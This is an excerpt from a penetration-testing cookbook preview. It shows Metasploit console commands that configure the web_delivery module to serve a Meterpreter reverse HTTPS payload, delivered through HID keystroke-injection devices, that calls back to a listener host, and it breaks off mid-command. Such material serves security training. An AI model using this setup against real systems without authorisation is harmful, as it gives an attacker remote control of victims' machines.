How to do it...

  1. Although it is possible to run a basic stageless payload, in my experience using a staged payload with the Script Web Delivery exploit module has proven to be a reliable way to deliver payloads using HID devices:
msf > use exploit/multi/script/web_delivery msf exploit(multi/script/web_delivery) > set TARGET 2TARGET => 2msf exploit(multi/script/web_delivery) > set SRVHOST 192.168.216.5 SRVHOST => 192.168.216.5msf exploit(multi/script/web_delivery) > set SRVPORT 80SRVPORT => 80msf exploit(multi/script/web_delivery) > set URIPATH /URIPATH => /msf exploit(multi/script/web_delivery) > set PAYLOAD windows/meterpreter/reverse_httpsPAYLOAD => windows/meterpreter/reverse_httpsmsf exploit(multi/script/web_delivery) > set LHOST 192.168.216.5 ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.